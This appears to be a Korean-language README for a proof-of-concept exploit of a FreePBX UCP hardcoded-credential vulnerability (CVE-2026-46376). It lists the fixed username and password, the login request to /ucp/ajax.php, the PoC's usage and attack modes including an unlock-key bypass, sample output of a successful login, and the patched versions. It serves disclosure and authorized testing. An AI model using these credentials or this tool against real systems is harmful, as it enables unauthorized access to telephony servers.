
CVE-2026-46376 - FreePBX 하드코딩된 자격 증명을 통한 비인증 UCP 접근
FreePBX의 사용자 관리(userman) 모듈의 치명적인 취약점으로, 인증되지 않은 공격자가 UCP 일반 템플릿 설정 과정에서 포함되는 하드코딩된 자격 증명을 사용하여 사용자 제어 패널(UCP)에 접근할 수 있습니다.
CVSS v4.0: 9.1 (치명적) | CWE-798: 하드코딩된 자격 증명 사용
공개일: 2026년 5월 15일 | 보고자: s0nnyWT
관리자가 선택적 UCP 일반 템플릿 설정 기능(2021년 도입)을 사용하면 FreePBXUCPTemplateCreator라는 시스템 사용자가 하드코딩된 고정 비밀번호로 생성됩니다. 설정 후 관리자가 이 비밀번호를 변경하지 않으면 네트워크의 모든 인증되지 않은 사용자가 이 자격 증명으로 UCP에 로그인할 수 있습니다.
| 필드 | 값 |
|---|---|
| 사용자 이름 | FreePBXUCPTemplateCreator |
| 비밀번호 | 1a2b3c@fd48jshs03123ld |
| 소스 | Userman.class.php — 비밀번호가 md5()를 통해 전달됨 |
| 공격 경로 | 네트워크 |
| 복잡성 | 낮음 |
| 인증 필요 | 없음 |
| 사용자 상호작용 | 없음 |
| 전제 조건 | 관리자가 UCP 일반 템플릿 설정을 실행해야 함 |
참고:
FreePBXUCPTemplateCreator사용자는 관리자가 UCP 일반 템플릿 설정 기능을 명시적으로 실행한 경우에만 생성됩니다. 이 설정을 한 번도 수행하지 않은 시스템은 영향을 받는 버전을 실행 중이더라도 이 CVE를 통해 악용할 수 없습니다.
수정 패치는 설치/업그레이드 시 bin2hex(random_bytes(24))를 사용하여 비밀번호를 무작위화하며, 기존 템플릿 생성자는 업그레이드 시 비밀번호가 다시 생성됩니다.
pip3 install requests
python3 poc.py <target_url>
positional arguments:
target Target URL (e.g. http://192.168.1.100)
optional arguments:
-h, --help show this help message and exit
--no-check Skip version pre-flight check
--timeout TIMEOUT Request timeout in seconds (default: 15)
--method {creds,unlock,admin,all}
Which exploit method to run (default: all)
-y, --yes Auto-continue even if version is out of range
module=User&command=login과 함께 POST /ucp/ajax.php에 로그인 요청을 보내 UCP에 로그인?unlockkey=&templateid= 쿼리 매개변수를 통한 잠금 해제 키 우회 시도$ python3 poc.py http://192.168.1.100
============================================
CVE-2026-46376 PoC - FreePBX UCP Access
Target: http://192.168.1.100
============================================
[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible
============================================
Exploitation
============================================
============================================
Method 1: Hard-Coded UCP Credentials
============================================
Username: FreePBXUCPTemplateCreator
Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator
============================================
Summary
============================================
Target is VULNERABLE
시스템이 악용 가능한지 확인하기 위해 PoC는 자격 증명과 함께 POST /ucp/ajax.php에 module=User&command=login 로그인 요청을 전송합니다. {"status":true} 응답은 템플릿 생성자 사용자가 존재하고 비밀번호가 여전히 기본값임을 나타냅니다.
{"status":false,"message":"Invalid Login Credentials"} 응답은 다음 중 하나를 의미합니다:
userman 모듈을 16.0.45(FreePBX 16) 또는 17.0.7(FreePBX 17)로 업데이트이 PoC는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 이 익스플로잇을 무단 사용하는 것은 불법입니다. 저자는 이 도구로 인한 오용이나 피해에 대해 책임을 지지 않습니다.
| 플랫폼 | userman 모듈 | 영향받는 버전 | 패치 버전 |
|---|
| FreePBX 15 | — | 15.0.42+ | 해당 없음 |
| FreePBX 16 | userman | ≤ 16.0.44 | 16.0.45 |
| FreePBX 17 | userman | ≤ 17.0.6 | 17.0.7 |